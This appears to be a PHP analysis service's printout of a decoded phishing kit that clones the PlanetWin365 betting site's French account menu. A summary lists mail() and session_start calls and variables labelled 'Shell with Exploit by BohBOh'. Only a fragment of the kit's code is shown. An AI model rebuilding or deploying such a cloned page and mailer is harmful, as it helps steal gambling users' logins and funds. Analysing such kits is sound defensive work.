<ul><li><a title="Home" href="/">Home</a></li><li><a title="Cotes" href="#">Cotes</a></li><li><a title="Contact" href="#">Contact</a></li><li><a title="statistiques et rsultats" href="#">statistiques et rsultats</a><ul><li><a title="Statistiche" href="javascript:window.open("http://www.stats.betradar.com/s4/?clientid=63&amp;language=fr");void(0);">Statistiques</a></li><li><a title="Rsultats" href="#" target="_blank">Rsultats</a></li></ul></li><li><a title="Promotions" href="#">Promotions</a></li><li><a title="Documents" href="#">Documents</a><ul><li><a title="Documents" href="#">Documents</a></li></ul></li><li><a title="Compte" href="#">Compte</a><ul><li><a title="Donnes usager" href="#">Donnes usager</a></li><li><a title="Liste accs " href="#">Liste accs </a></li><li><a title="Liste paris" href="#">Liste paris</a></li><li><a title="Liste de vouchers" href="#">Vouchers</a></li><li><a title="Auto-exclusion" href="#">Auto-exclusion</a></li><li><a title="Auto-limitation" href="#">Auto-limitation</a></li><li><a title="Transferts" href="#">Transferts</a></li><li><a title="Versement" href="#" target="_blank">Versement</a></li><li><a title="Retrait" href="#" target="_blank">Retrait</a></li><li><a title="" href="#" target="_blank" class="activeMM">Bonus</a></li><li><a title="Messages" href="#">Messages</a></li><li><a title="Betcode" href="#">Betcode</a></li><li><a title="T&amp;C Acceptance" href="#">T&amp;C Acceptance</a></li></ul></li><li><a title="Casino Main" href="#">Casino</a><ul><li><a title="Caisse" href="#" target="_blank">Caisse</a></li><li><a class="jurisdiction" title="Casino" href="/TPAutologin.aspx?Destinazione=V365starlive" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Casino</a></li><li><a class="jurisdiction" title="Live Dealer" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Live Dealer</a></li><li><a class="jurisdiction" title="Live Casino" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Live Casino</a></li><li><a class="jurisdiction activeMM" title="" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Poker</a></li><li><a class="jurisdiction" title="Virtual Games" href="#" onclick="javascript:jurisdictionChangeConfirm(event)" target="_blank">Virtual Games</a></li></ul></li><li><a title="Mobile" href="#">Mobile</a></li></ul>
                        
                        
                    </div>
                    
                    <div class="divMenuSceltaLingua">
                        


<div class="Lang_content_wrapper">
    
            <div class="languageFlags">
        
            <div class="en-GB">
                <a href="../ChooseLanguage.aspx?ID=2&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="English">English</a>
            </div>
        
            <div class="de-DE">
                <a href="../ChooseLanguage.aspx?ID=3&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Deutsch">Deutsch</a>
            </div>
        
            <div class="it-IT">
                <a href="../ChooseLanguage.aspx?ID=1&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Italiano">Italiano</a>
            </div>
        
            <div class="es-ES">
                <a href="../ChooseLanguage.aspx?ID=4&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Argentina">Argentina</a>
            </div>
        
            <div class="fr-FR Sel">
                <a href="../ChooseLanguage.aspx?ID=11&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Franais">Franais</a>
            </div>
        
            <div class="sr-Latn-CS">
                <a href="../ChooseLanguage.aspx?ID=5&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Balkans">Balkans</a>
            </div>
        
            <div class="bg-BG">
                <a href="../ChooseLanguage.aspx?ID=7&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title=""></a>
            </div>
        
            <div class="pl-PL">
                <a href="../ChooseLanguage.aspx?ID=6&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Polski">Polski</a>
            </div>
        
            <div class="tr-TR">
                <a href="../ChooseLanguage.aspx?ID=9&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Turkish">Turkish</a>
            </div>
        
            <div class="sq-AL">
                <a href="../ChooseLanguage.aspx?ID=10&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Shqip">Shqip</a>
            </div>
        
            <div class="ro-RO">
                <a href="../ChooseLanguage.aspx?ID=16&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Romn">Romn</a>
            </div>
        
            <div class="de-AT">
                <a href="../ChooseLanguage.aspx?ID=17&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="sterreich">sterreich</a>
            </div>
        
            <div class="zh-CN">
                <a href="../ChooseLanguage.aspx?ID=12&amp;url=%2fSport%2fDefaultLogged.aspx" class="lnkLangBtn" title="Chinese">Chinese</a>
            </div>
        
            </div>

    <div id="btnLangList">
        <a id="btnLangList_link"></a>
    </div>
</div>

                    </div>
                    
<script type="text/javascript">
    var sUpdateProgress = "hl_w_ctl20_UpdateProgress";
</script>
<div class="MenuUpdate">

    <div id="hl_w_ctl20_UpdateProgress" style="display:none;">
	
            &nbsp;<img id="hl_w_ctl20_imgWait" src="//static.planetwin365.com/App_Themes/PlanetWin365/Images/icons/wait_top.gif" align="absmiddle" style="border-width:0px;">
        
</div> 


</div>
          </div>      </div>';
if ($_SESSION['active']) {
    $IfWwKRkbZJLElhgkWJxK = preg_replace('/<!--HEADER-->(.*?)<!--MAIN-->/is', $wxblPyOWmDcyrjnDFW, $zakSEsduePXkDfniPezC);
    echo $IfWwKRkbZJLElhgkWJxK;
    echo "<script>                               $('#sexx').val('true');                                                               </script>";
} else {
    echo $zakSEsduePXkDfniPezC;
}
echo " 


        <script src='plugins.js'></script>
        <script src='all.js'></script>


</body></html>"; ?>
<?php

Function Calls

mail 1
session_start 1

Variables

$HszzPyXcYurszNfJhjof Shell
$JTtGHQAxbjTGxPqJXjDk From: BohBOh<[email protected]>
$oQsSNZlcDQRPKwedaHEU Shell with Exploit by BohBOh : http://NoneNone?iheb=ab ----..
$uOqrFZblQlFFKNhrUWPJ None

Stats

MD5 7f933c53a1396c7af3eb7900e54a3131
Eval Count 0
Decode Time 144 ms